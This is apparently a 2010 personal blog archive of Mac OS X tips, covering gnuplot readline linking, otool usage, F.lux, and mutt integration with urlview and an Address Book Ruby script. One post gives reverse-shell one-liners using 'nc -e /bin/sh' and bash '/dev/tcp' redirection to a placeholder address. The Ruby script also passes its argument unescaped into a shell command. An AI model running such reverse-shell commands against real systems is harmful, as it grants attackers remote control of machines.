When we install the gnuplot on Mac OS X from the source code, we encounter this strange error message:
Undefined symbols:
"_rl_forced_update_display", referenced from:
_restore_prompt in command.o
"_rl_ding", referenced from:
_alert in mouse.o
"_history_list", referenced from:
_write_history_list in history.o
"_rl_complete_with_tilde_expansion", referenced from:
_rl_complete_with_tilde_expansion$non_lazy_ptr in plot.o
"_rl_reset_after_signal", referenced from:
_main in plot.o
...
This error is due to the readline library in Mac OS X.
If you look at the /usr/lib/libreadline.dylib file, the symlink is pointing at a library file that we do not know. (Seems not familiar to me) Thus, we can solve this problem by installing libreadline from the source, and change the symlink properly. In my case:
sudo ln -s /usr/local/lib/libreadline.6.1.dylib /usr/lib/libreadline.dylib


2010/04/23 03:40 2010/04/23 03:40
Posted by 차상길.

There are two possible ways to do objdump in Mac OS X: 1) install GNU binutils; 2) use otool.

1) Install GNU binutils from the source (download), or from the MacPort.

2) Use otool, the Mac OS X native utility. I summarize the usage of otool in the following:

disassemble text sections (= objdump -j .text -d <file>)
otool -tV <file>
disassemble a section (= objdump -j <section> -d <file>)
otool -V -s __text <section> <file>
print out the shared library dependencies (= ldd <file>)
otool -L <file>
print out the data sections (= objdump -j .data -s <file>)
otool -dv <file>

2010/04/22 04:28 2010/04/22 04:28
Posted by 차상길.

netcat (nc) is a utility for arbitrary TCP and UDP connections and listens. According to the nc manual, -e option specifies filename  to exec after connect. Thus in general, we can easily make reverse shell by using this command:
nc <addr> <port> -e /bin/sh
However, nc on Mac does not have -e option.
Instead, Mac has enabled their bash network redirection (/dev/tcp or /dev/udp). Thus instead of using nc for reverse binding shell, we can simply use this command:
/bin/bash 0</dev/tcp/addr/port 1>&0 2>&0
Note this technique will not work on default Debian machines. You have to enable bash network redirection to use this.

Useful reference: http://shudder.daemonette.org/source/BashNP-Guide.txt
2010/03/20 22:28 2010/03/20 22:28
Posted by 차상길.

omg...
I just realized that there are amazing apps in my Mac by default. (if you installed xcode)

Launch your terminal, and run this...
open /Library/Application\ Support/Shark/Helpers/
사용자 삽입 이미지

Seriously, this is why Mac is awesome.

reference:
http://rentzsch.com/macosx/readISAReferencesDirectly
2010/02/24 23:02 2010/02/24 23:02
Posted by 차상길.

Enthralled by Mac

2010/02/11 23:55 / Mac OS X
Yoohoo~ I bought iLife '09 and iWork '09 today. :p
So I have all these MACs... :D
  • MAC OS X Snow Leopard
  • MAC OS X Leopard
  • iWork '08
  • iWork '09
  • iLife '09
  • MacBook
  • iPhone
  • iPod Touch
2010/02/11 23:55 2010/02/11 23:55
Posted by 차상길.

Mac F.lux

2010/01/26 09:27 / Mac OS X
제가 가장 아끼는 프로그램 중 하나인 Mac F.lux 를 소개하고자 합니다.
플럭스는 한 마디로: "모니터의 색 온도를 시간에 따라 조정하여 눈의 피로를 덜어주는 프로그램" 입니다.
장시간 컴퓨터를 사용하는 사람들에게는 특히 강추! 하고 싶은 소프트웨어이고, 특히 저처럼 코딩과 글쓰기에 항상 주력하는 사람들에겐 정말 필요한 프로그램 입니다. 하지만 모니터 색깔이 바뀌니까 그래픽 작업하시는 분들에게는 별로일지도 모르겠네요 :D

낮에는 색온도가 높아도 상관이 없지만, 밤이 되면 색온도를 낮추어 눈의 피로를 덜어주는 원리이지요. 색온도가 낮을수록 화면은 약간 누렇게 되고, 색온도가 높아지면 형광등 불빛 처럼 하얗게 됩니다. 설치도 매우 간단합니다. 그냥 dmg 파일 받아서 설치하면 끝~. 설치 후에는 preference에 가서 자신이 속한 타임존을 설정해 주면 됩니다.

다운로드:
http://www.stereopsis.com/flux/

참고:
http://gilud.tistory.com/262
2010/01/26 09:27 2010/01/26 09:27
Posted by 차상길.

Urlview is a simple command line program that extracts urls from a text document. You can easily invoke your web-browser from Mutt to follow hyperlinks in your email. You need only two steps to do this trick. First, set-up your urlview command. Second, set a macro in your mutt recipe.

If you use debian, ubuntu, fedora, and so forth, you can easily get a package distribution for urlview. (aptitude, yum ... ) However, there exists another good ruby project for the urlview. It is simple, fast, and secure !

So check out this url, you can download the ruby script.

Here is the Easiest way to use urlview with mutt in your Mac OS X.

  1. Download urlview (ruby version) from here.
  2. modify the file of line 26, from "BROWSER='firefox'" to "BROWSER='open'"
  3. comment out the line 31 : $stdin.reopen 'COM1:'
  4. sudo chmod +x ~/Download/urlview.rb
  5. sudo mv ~/Download/urlview.rb /usr/bin
  6. Add the following lines in your muttrc. (Note that the macro is binded with f4 key. You can change it to whatever you want.)
    macro index "<f4>" "<pipe-message>urlview.rb<enter>" #URLviewer
    macro pager "<f4>" "<pipe-message>urlview.rb<enter>" #URLviewer
    
Now you can easily browse any web links from your Mutt.

2010/01/19 21:11 2010/01/19 21:11
Posted by 차상길.

Many Mac users use the default "Address Book", in Mac OS X, for email and stuff. However, in Snow Leopard, we cannot use lbdb (the Little Brother's Database) anymore. For more details about the problem check out this bug report. This is annoying for mutt users like me.

There are many alternative software for this, including abook, neuron, etc. But, is there any way to use the Address Book in Mac for mutt query?

Here are some tricks that I am using.

Since Address Book uses sqlite internally, you should be able to find the database file in the following path: $HOME/Library/Application Support/AddressBook/AddressBook-v22.abcddb. Then, we can write a simple script that print out the query result from the database!

Well, if you look at the database, you will see the name of each database field is too complex. But it is not very bad, you only need to look at these two tables: ZABCDEMAILADDRESS, and ZABCDRECORD. You can easily obtain what you want using one line query.

So, here is a brief how-to.
  1. Make a script something like the following. (addressbook.rb)
  2. Put this script in your $HOME/.mutt directory.
  3. Modify your .muttrc file. (set query_command="~/.mutt/addressbook.rb '%s'")
  4. Enjoy !
addressbook.rb
#!/usr/bin/env ruby
if ARGV.count != 1
   puts "Not found."
   exit 1
end

output = `sqlite3 -separator \"\t\" ~/Library/Application\\ Support/AddressBook/AddressBook-v22.abcddb 'select mail.ZADDRESS, rec.ZFIRSTNAME, rec.ZLASTNAME from ZABCDEMAILADDRESS as mail,ZABCDRECORD as rec where (mail.ZADDRESS like \"%#{ARGV[0]}%\" or rec.ZFIRSTNAME like \"%#{ARGV[0]}%\" or rec.ZLASTNAME like \"%#{ARGV[0]}%\") and rec.Z_PK=mail.ZOWNER'`

if $? != 0
   raise "Query Error"
else
   if output.empty?
       puts "Not found."
       exit 1
   end
   puts # start with blank line
   output.split("\n").each {|line|
       tuple = line.split("\t")
       if tuple.count != 3
           puts "Not found."
           exit 1
       end
       print tuple[0] + "\t" + tuple[1] + " " + tuple[2] + "\t\n"
   }
   exit 0
end

puts "Not found."
exit 1
2010/01/19 20:56 2010/01/19 20:56
Posted by 차상길.